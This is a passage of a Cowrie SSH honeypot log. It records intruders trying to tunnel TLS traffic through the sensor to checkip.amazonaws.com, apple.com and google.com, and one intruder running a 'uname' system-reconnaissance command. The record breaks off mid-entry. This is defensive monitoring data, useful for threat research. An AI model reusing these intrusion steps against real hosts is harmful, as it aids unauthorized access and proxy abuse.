{"eventid":"cowrie.direct-tcpip.data","dst_ip":"54.170.77.26","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03$\\x82\\x85\\xfd\\xd8~\\x15 \\x1f/\\xab\\xa9\\x16\\xe1\"l\\x9d\\xf8\\xf6Zq\\xe1\\'0\\xde\\xecnW=-k\\t /:\\n\\x9bA\\x9d{\\xb1\\x16\\x8a\\xfc\\x83\\xab\\xb9\\xa6G\\x8aD\\xa6\\xa6\\xda\\xad_\\xbd\\xc9;\\xdd\\xdf\\xc6N\\x83\\xe9\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 8\\xed+\\xd7Wx\\xec>E\\x1b\\x89\\xd6k\\x134\\xfe\\xa9 \\x14/\\x07CD>\\xb8\\x05\\xe74}\\xcfi\"\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 54.170.77.26:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03$\\x82\\x85\\xfd\\xd8~\\x15 \\x1f/\\xab\\xa9\\x16\\xe1\"l\\x9d\\xf8\\xf6Zq\\xe1\\'0\\xde\\xecnW=-k\\t /:\\n\\x9bA\\x9d{\\xb1\\x16\\x8a\\xfc\\x83\\xab\\xb9\\xa6G\\x8aD\\xa6\\xa6\\xda\\xad_\\xbd\\xc9;\\xdd\\xdf\\xc6N\\x83\\xe9\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 8\\xed+\\xd7Wx\\xec>E\\x1b\\x89\\xd6k\\x134\\xfe\\xa9 \\x14/\\x07CD>\\xb8\\x05\\xe74}\\xcfi\"\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:10.545705Z","src_ip":"77.90.185.17","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.197.161.53","dst_port":443,"src_ip":"77.90.185.17","src_port":37672,"message":"direct-tcp connection request to 23.197.161.53:443 from 127.0.0.1:37672","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:10.633128Z","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:10.774253Z","src_ip":"101.44.96.62","session":"5f9f1250e91b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:10.776537Z","src_ip":"101.44.96.62","session":"5f9f1250e91b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.197.161.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.197.161.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:10.858779Z","src_ip":"77.90.185.17","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.197.161.53","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03M\\x01\\x96?\\x05\\x84\\x03\\xab\\xb2S\\x90\\x91e\\x01\\xea(b1\\xc2\\x13\\xa0\\xcd`r\\x89\\xc0OA\\x07\\xe6\\xc74 \\xe1\\xa6\\xcb\\xb8^\\xb3\\x8a\\x9d\\xc6m\\x04I\"Q\\x82r\\'\\xde\\x8b\\x90h~-a\\xab+\\n]<\\x88*/\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 aZP\\x1ey\\x1f\\r\\xbd\\xe0\\xb2\\xd7\\xdb/\\xff\\x068\\n\\xc3s!\\x83\\xfe\\xae\\xe0l\\xdaeS9R3x\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 23.197.161.53:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03M\\x01\\x96?\\x05\\x84\\x03\\xab\\xb2S\\x90\\x91e\\x01\\xea(b1\\xc2\\x13\\xa0\\xcd`r\\x89\\xc0OA\\x07\\xe6\\xc74 \\xe1\\xa6\\xcb\\xb8^\\xb3\\x8a\\x9d\\xc6m\\x04I\"Q\\x82r\\'\\xde\\x8b\\x90h~-a\\xab+\\n]<\\x88*/\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 aZP\\x1ey\\x1f\\r\\xbd\\xe0\\xb2\\xd7\\xdb/\\xff\\x068\\n\\xc3s!\\x83\\xfe\\xae\\xe0l\\xdaeS9R3x\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:10.862014Z","src_ip":"77.90.185.17","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.197.161.53","dst_port":443,"src_ip":"77.90.185.17","src_port":37936,"message":"direct-tcp connection request to 23.197.161.53:443 from 127.0.0.1:37936","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:10.898763Z","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:10.995813Z","src_ip":"101.44.96.62","session":"5f9f1250e91b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:11.000633Z","src_ip":"101.44.96.62","session":"5f9f1250e91b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.155.119","dst_port":443,"src_ip":"77.90.185.17","src_port":38268,"message":"direct-tcp connection request to 142.251.155.119:443 from 127.0.0.1:38268","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:11.304816Z","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.197.161.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.197.161.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:11.443999Z","src_ip":"77.90.185.17","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.197.161.53","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03b\\x04\\x01R\\x1b(\\xa5\\xea\\x15*\\xec\\x00O!\\xcf\\xc361\\xc1%\\xc4\\xdd\\xc2B&`\\xa3g\\xb4\\x7f\\x91\\xd3 \\x1f0\\xbci\\xa7\\x15\\x03D7k\\xfc\\xb4VsA\\xb9;{\\x17\\x87\\xadf\\x05\\xb1\\x05\\x98G\\xf2\\xc0\\xfc\\xc7q\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 p)\\xcbI\\xef\\xf2\\r\\xe8\"\\xb3d|\\xd6\\x91e\\x90\\x1b\\xfd\\xcd8\\xf7U\\t^\\x83\\x82\\x87\\xb9z~4v\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 23.197.161.53:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03b\\x04\\x01R\\x1b(\\xa5\\xea\\x15*\\xec\\x00O!\\xcf\\xc361\\xc1%\\xc4\\xdd\\xc2B&`\\xa3g\\xb4\\x7f\\x91\\xd3 \\x1f0\\xbci\\xa7\\x15\\x03D7k\\xfc\\xb4VsA\\xb9;{\\x17\\x87\\xadf\\x05\\xb1\\x05\\x98G\\xf2\\xc0\\xfc\\xc7q\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 p)\\xcbI\\xef\\xf2\\r\\xe8\"\\xb3d|\\xd6\\x91e\\x90\\x1b\\xfd\\xcd8\\xf7U\\t^\\x83\\x82\\x87\\xb9z~4v\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:11.447489Z","src_ip":"77.90.185.17","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.155.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.155.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:11.456482Z","src_ip":"77.90.185.17","session":"fe4f3059f04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.155.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfe\\nY\\xdc5U\\x95\\x16\\x04\\xb1\\x19\\xddc\\x85\\xc8\\x8cK\\xcd`g\\xe8\\xa31\\xe0\\xe3e,\\xff\\xb5\\xc99\\x10 ]o\\x18\\x84\\x07\\xf1\\xb4\\x04>\\xb1T\\x8aP`\\x9a\\\\N;\\t\\xa1\\x14*\\x82=\\xa2\\xdf\\xdfE\\xd16\\xffx\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\